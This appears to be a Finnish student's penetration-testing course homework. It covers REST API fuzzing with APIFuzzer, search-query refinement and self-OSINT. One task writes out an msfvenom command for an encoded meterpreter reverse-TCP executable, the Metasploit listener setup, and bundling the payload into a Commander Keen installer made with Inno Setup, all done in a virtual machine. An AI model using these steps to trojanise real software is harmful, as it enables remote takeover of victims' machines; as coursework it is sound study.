Tehtävä 1.
Tehtävässä on tarkoituksena etsiä ‘Google Scholar’ palvelusta tunkeutumistestausta käsitteleviä tuoreita tutkimuksia. Asetettuani palveluun tehtävänannossa määritetyt vaatimukset aloitin hakutulosten selaamisen. Pelkällä ‘Penetration Testing’ haulla tuloksia oli ihan liikaa ja liian suurelta skaalalta, että sieltä olisi mahdollista löytää tehokkaasti mitään erityisesti mielenkiintoista, joten päätin supistaa hakua. Koska olen nyt koko syksyn ajan työskennellyt ohjelmointiprojektissa, jossa omana vastuualueenani on ollut PHP:llä ohjelmoitu Ubuntu palvelimella pyörivä REST API, päätin kokeilla hakua ‘Penetration testing rest api’ ja tulokset olivat heti huomattavasti mielenkiintoisempia ja tarkemmin rajattuja.
Valitsin lähempään tarkkailuun raportin ‘REST-ler: Automatic Intelligent REST API fuzzing’ (V. Atlidakis, P. Godefroid, M. Polishchuk – 26.6.2018), joka käsitteli REST-ler nimistä työn alla olevaa ohjelmistoa, jolla voisi testata uusin tavoin ja automatisoidusti REST API -tyylisiä verkkopalveluita, jotka ovat lisääntyneet huomattavasti lähiaikoina kaikenlaisten pilvipalveluiden mukana. Valitettavasti itse REST-ler ohjelman lähdekoodeja ei ole ainakaan GitHubissa, tai muissa vastaavissa palveluissa tarjolla, mutta monet muut vastaavanlaiset ohjelmistot, joista REST-ler hakee mallia, tai joita se muuten hyödyntää, ovat saatavilla GitHubista.
Mikä on REST API palvelu? REST on lyhenne sanoista ‘Representational State Transfer’, ja tarkoittaa arkkitehtuurimallia, jossa verkossa toteutettaville palveluille haetaan lisää nopeutta ja keskinäistä harmoniaa hyödyntämällä yhteisiä standardisoituja protokollia ja operaatioita. API taas on lyhenne sanoista ‘Application Programming Interface’, eli rajapinta. REST APIt ovat siis standardisoituja palvelimilla toimivia yhtenäisiä rajapintoja, jotka usein toteuttavat tietokannan ja käyttöliittymän välillä CRUD (Create, Read, Update, Delete) HTTP metodeja.
Koska en pysty kokeilemaan REST-leriä, kokeilen seuraavaksi artikkelissa mainittua APIFuzzer ohjelmistoa, joka löytyy Githubista. Asensin APIFuzzerin GitHubin ohjeiden mukaan, mikä saattaa vaatia python-pip paketin lataamista paketinhallinnasta (sudo apt-get install python-pip
). Minulla ei myöskään toiminut ohjeissa annettu pip2.7 install -r APIFuzzer/requirements.txt
komento, mutta jättämällä sanan pip perästä numeron 2.7 pois ohjelma asentui oikein.
Asennus luo ohjelmalle uuden kansion. Tuon kansion sisällä komennolla python fuzzer.py -h
avaat helpin. APIFuzzerin mukana tulee myös testiohjelma, jolla voit testata kaiken toimivan oikein. Kyseistä ohjelmaa varten tarvitset seuraavat python paketit:
Flask==1.0.2
pytest==3.6.3
pytest-cov==2.5.1
sphinx
sphinx_rtd_theme
werkzeug
#hae kaikki komennolla:
sudo apt-get install python-flask python-pytest python-pytest-cov python-sphinx python-sphinx-rtd-theme python-werkzeug -y
Tämän jälkeen voi aloittaa testiohjelman komennolla python test/test_application.py
, joka aloittaa pienen REST palvelun toteuttamisen terminaalissa. Seuraavaksi siirryin toisessa terminaalissa samaan kansioon ja toteutin komennon python2.7 fuzzer.py -s test/test_swagger_definition.json -u http://localhost:5000/ -r /tmp/reports/
, jonka pitäisi käynnistää fuzzer testi, mutta valitettavasti komento ei toiminut, koska test_swagger:_definition.json tiedostoa ei löytynyt, joten ohjelman testaaminen oli pakko päättää tähän, kunnes saan jostain itselleni REST API palvelun, jota saan testata, ja jossa on valmiina dokumentaatio, jonka pohjalta voin käyttää APIFuzzeria.
Tehtävä 2:
Koska REST palvelut, Raspberryt, Arduino, PHP ja tietokannat ovat tällä hetkellä työn alla olevan projektin kannalta tärkeitä, päätin seuraavaksi kokeilla hakua lauseella: penetration testing intext:rest intext:api intext:php intext:linux intext:server intext:raspberry intext:arduino
, joka kuitenkin osoittautui ehkä hieman liian spesifiseksi:
Kun poistin hausta Arduinon ja Raspberryn, jotka eivät kuitenkaan ole projektissa omaa vastuualuettani, sain paljon tehokkaammin informaatiota:
Tehtävä 3:
Tehtävän tarkoituksena on luoda troijalainen hyökkäysohjelma, kuten viime viikon tehtävissä, mutta tällä kertaa se pitää myös paketoida Inno Setupilla. Aloitin tehtävän suorittamisen luomalla msfvenomilla yksinkertaisen hyökkäysohjelman komennolla: msfvenom -p windows/meterpreter/reverse_tcp lhost=//IPOSOITE// lport=9999 -e x86/shikata_ga_nai -f exe -o /home/robs/public_html/THIS_IS_MALWARE.exe
. Seuraavaksi asetin metasploitin kuuntelemaan porttia 9999 ja ilmoitusta, että uhri on käynnistänyt ohjelman.
sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST //IPOSOITE//
set LPORT 9999
run
Siirsin THIS_IS_MALWARE.exe tiedoston windowsin puolelle, jossa suljin defenderin pois päältä, jotta se ei tuhoaisi .exe tiedostoa. Nopealla testillä haittaohjelma toimi oikein ja loi minulle Kalin puolelle Meterpreter Shellin.
Seuraavaksi latasin verkosta Inno Setupin ja asensin sen koneelle. Seuraavaksi latasin abandonwaresivustolta (ja tosiaan teen tämän virtuaalikoneella, en oikeassa windows asennuksessani) Commander Keenin, unzippasin sen ja nimesin hyökkäystiedostoni setup.exe:ksi. Inno Setupin “Next”-sulkeisten jälkeen sain lopulta luotua Commander Keen zipin ja oman exeni pohjalta ‘Commander_Keen_6_(CONTAINS_MALWARE).exe’ asennustiedoston, joka asentaisi Keenin koneelle, mutta asettaisi pakettiin mukaan ylimääräisen setup tiedoston, joka käynnistää meterpreter shellin.
Olisin kuitenkin voinut testata ladatun Commander Keenin toimivuuden, sillä purettu .zip oli itseasiassa asennustiedosto, eikä jo valmiiksi purettu peli, eli käytännössä loin installerin, joka sisälsi toisen installerin ja epämääräisen setup.exe tiedoston, joka oikein huusi olevansa malware. “Yo, I heard you like to click Next so I put your installer inside an installer jne…”.
Tehtävä 4:
Koska en ollut flunssan takia edellisellä luennolla mukana, en ollut missään pareihin jakautumisessa mukana, joten en oikein voi näitä paritehtäviä tehdä, mutta etsin silti kokeeksi itsestäni tietoa hakukoneilla (google, duckduckgo) ja tehtävänannossa mainituilla työkaluilla.
Monet weppipalveluista eivät ainakaan tuntuneet olevan erityisen tehokkaita, tai olen osannut maskeerata itseni hyvin, koska valtaosa löydöistä olivat joko omasta blogistani tai terokarvinen.com:sta kouluhommia, tai sivutoimisiin dj-keikkoihini liittyvää markkinointia. Toisaalta löysin myös todella vanhoja foorumipostauksia vusien takaa (2005-2007), mutta pian kyseisen aikajanan jälkeen kaikki informaatio facebookia lukuunottamatta katoaa melkein kymmeneksi vuodeksi.
LINKIT:
http://terokarvinen.com/2018/penetration-testing-course-autumn-2018
https://arxiv.org/pdf/1806.09739.pdf
https://en.wikipedia.org/wiki/Representational_state_transfer
https://fuzzing-project.org/
https://github.com/KissPeter/APIFuzzer
http://jrsoftware.org/isinfo.php
http://www.abandonia.com/